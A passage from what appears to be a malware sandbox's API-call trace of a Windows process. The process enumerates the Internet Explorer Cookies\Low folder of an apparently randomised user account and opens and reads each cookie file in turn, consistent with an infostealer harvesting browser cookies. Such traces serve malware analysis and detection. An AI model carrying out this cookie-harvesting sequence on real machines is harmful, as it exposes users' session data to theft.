HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned 0x4d [0074.737] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\*.txt", lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44eb6480, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x44eb6480, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x44eb6480, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt", cAlternateFileName="5P9943~1.TXT")) returned 0x66e488 [0074.745] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.745] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x66 [0074.745] ReadFile (in: hFile=0x3f4, lpBuffer=0x2322c40, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x2322c40*, lpNumberOfBytesRead=0x18e098*=0x66, lpOverlapped=0x0) returned 1 [0074.746] CloseHandle (hObject=0x3f4) returned 1 [0074.746] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44bd95f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x44bd95f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x44bd95f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", cAlternateFileName="5P37D9~1.TXT")) returned 1 [0074.746] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.746] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x66 [0074.746] ReadFile (in: hFile=0x3f4, lpBuffer=0x2322c40, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x2322c40*, lpNumberOfBytesRead=0x18e098*=0x66, lpOverlapped=0x0) returned 1 [0074.752] CloseHandle (hObject=0x3f4) returned 1 [0074.752] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf73d210, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf73d210, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf73d210, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adformdsp[1].txt", cAlternateFileName="5P2CBA~1.TXT")) returned 1 [0074.754] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.754] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x5d [0074.754] ReadFile (in: hFile=0x3f4, lpBuffer=0x4526d0c, nNumberOfBytesToRead=0x5d, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x4526d0c*, lpNumberOfBytesRead=0x18e098*=0x5d, lpOverlapped=0x0) returned 1 [0074.755] CloseHandle (hObject=0x3f4) returned 1 [0074.755] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf2a0770, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf7d5790, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7d5790, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adform[1].txt", cAlternateFileName="5P8600~1.TXT")) returned 1 [0074.763] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@adform[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.763] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xea [0074.763] ReadFile (in: hFile=0x3f4, lpBuffer=0x3984154, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3984154*, lpNumberOfBytesRead=0x18e098*=0xea, lpOverlapped=0x0) returned 1 [0074.764] CloseHandle (hObject=0x3f4) returned 1 [0074.764] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe5d5130, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0x45f08810, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45f08810, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adnxs[1].txt", cAlternateFileName="5P89EF~1.TXT")) returned 1 [0074.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@adnxs[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.810] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x242 [0074.810] ReadFile (in: hFile=0x3f4, lpBuffer=0x2323250, nNumberOfBytesToRead=0x242, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x2323250*, lpNumberOfBytesRead=0x18e098*=0x242, lpOverlapped=0x0) returned 1 [0074.811] CloseHandle (hObject=0x3f4) returned 1 [0074.812] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52fcb4b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52fcb4b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adtech[2].txt", cAlternateFileName="5PC5B2~1.TXT")) returned 1 [0074.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@adtech[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.813] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x65 [0074.813] ReadFile (in: hFile=0x3f4, lpBuffer=0x2322c40, nNumberOfBytesToRead=0x65, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x2322c40*, lpNumberOfBytesRead=0x18e098*=0x65, lpOverlapped=0x0) returned 1 [0074.814] CloseHandle (hObject=0x3f4) returned 1 [0074.814] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53c70990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53c70990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53c70990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adtr02[1].txt", cAlternateFileName="5P5NRG~3.TXT")) returned 1 [0074.814] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@adtr02[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.814] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x52 [0074.814] ReadFile (in: hFile=0x3f4, lpBuffer=0x452bf5c, nNumberOfBytesToRead=0x52, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x452bf5c*, lpNumberOfBytesRead=0x18e098*=0x52, lpOverlapped=0x0) returned 1 [0074.815] CloseHandle (hObject=0x3f4) returned 1 [0074.815] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x517fd8b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51332930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x51332930, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@advertising[1].txt", cAlternateFileName="5P5NRG~1.TXT")) returned 1 [0074.815] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@advertising[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.816] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x125 [0074.816] ReadFile (in: hFile=0x3f4, lpBuffer=0x2324aac, nNumberOfBytesToRead=0x125, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x2324aac*, lpNumberOfBytesRead=0x18e098*=0x125, lpOverlapped=0x0) returned 1 [0074.816] CloseHandle (hObject=0x3f4) returned 1 [0074.817] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54cce0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54cce0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54cce0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@api.bing[2].txt", cAlternateFileName="5P40FC~1.TXT")) returned 1 [0074.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@api.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.818] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xdd [0074.818] ReadFile (in: hFile=0x3f4, lpBuffer=0x2325154, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x2325154*, lpNumberOfBytesRead=0x18e098*=0xdd, lpOverlapped=0x0) returned 1 [0074.818] CloseHandle (hObject=0x3f4) returned 1 [0074.819] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4611db50, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4611db50, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x4611db50, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@at.atwola[1].txt", cAlternateFileName="5P74F0~1.TXT")) returned 1 [0074.819] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.819] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x201 [0074.819] ReadFile (in: hFile=0x3f4, lpBuffer=0x2325564, nNumberOfBytesToRead=0x201, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x2325564*, lpNumberOfBytesRead=0x18e098*=0x201, lpOverlapped=0x0) returned 1 [0074.820] CloseHandle (hObject=0x3f4) returned 1 [0074.820] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x534b4210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x562c6900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x562c6900, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@bing[1].txt", cAlternateFileName="5PBE12~1.TXT")) returned 1 [0074.821] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.821] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x1ea [0074.821] ReadFile (in: hFile=0x3f4, lpBuffer=0x2326f50, nNumberOfBytesToRead=0x1ea, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x2326f50*, lpNumberOfBytesRead=0x18e098*=0x1ea, lpOverlapped=0x0) returned 1 [0074.822] CloseHandle (hObject=0x3f4) returned 1 [0074.822] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45798350, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45798350, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45798350, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@c.bing[1].txt", cAlternateFileName="5P5NRG~2.TXT")) returned 1 [0074.823] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@c.bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.823] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x1c8 [0074.823] ReadFile (in: hFile=0x3f4, lpBuffer=0x23271d4, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x23271d4*, lpNumberOfBytesRead=0x18e098*=0x1c8, lpOverlapped=0x0) returned 1 [0074.824] CloseHandle (hObject=0x3f4) returned 1 [0074.824] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbdf95770, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbdf95770, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbdf95770, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x82, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@c.msn[1].txt", cAlternateFileName="5PB89C~1.TXT")) returned 1 [0074.825] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@c.msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.825] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x82 [0074.825] ReadFile (in: hFile=0x3f4, lpBuffer=0x2327b24, nNumberOfBytesToRead=0x82, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x2327b24*, lpNumberOfBytesRead=0x18e098*=0x82, lpOverlapped=0x0) returned 1 [0074.826] CloseHandle (hObject=0x3f4) returned 1 [0074.826] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6301df20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63a15b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63a15b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@doubleclick[2].txt", cAlternateFileName="5P93CC~1.TXT")) returned 1 [0074.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.827] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x110 [0074.827] ReadFile (in: hFile=0x3f4, lpBuffer=0x2327e3c, nNumberOfBytesToRead=0x110, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x2327e3c*, lpNumberOfBytesRead=0x18e098*=0x110, lpOverlapped=0x0) returned 1 [0074.828] CloseHandle (hObject=0x3f4) returned 1 [0074.828] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61093ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61093ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61093ba0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x256, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@google[1].txt", cAlternateFileName="5P12F9~1.TXT")) returned 1 [0074.829] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@google[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.829] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x256 [0074.829] ReadFile (in: hFile=0x3f4, lpBuffer=0x452c418, nNumberOfBytesToRead=0x256, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x452c418*, lpNumberOfBytesRead=0x18e098*=0x256, lpOverlapped=0x0) returned 1 [0074.830] CloseHandle (hObject=0x3f4) returned 1 [0074.830] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x610b9d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61282d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61282d80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@google[3].txt", cAlternateFileName="5P692F~1.TXT")) returned 1 [0074.831] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@google[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.831] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xc4 [0074.831] ReadFile (in: hFile=0x3f4, lpBuffer=0x452de60, nNumberOfBytesToRead=0xc4, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x452de60*, lpNumberOfBytesRead=0x18e098*=0xc4, lpOverlapped=0x0) returned 1 [0074.832] CloseHandle (hObject=0x3f4) returned 1 [0074.832] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e777a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x64e777a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x64e777a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x21f, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@google[4].txt", cAlternateFileName="5P3B8C~1.TXT")) returned 1 [0074.832] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@google[4].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0074.833] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: 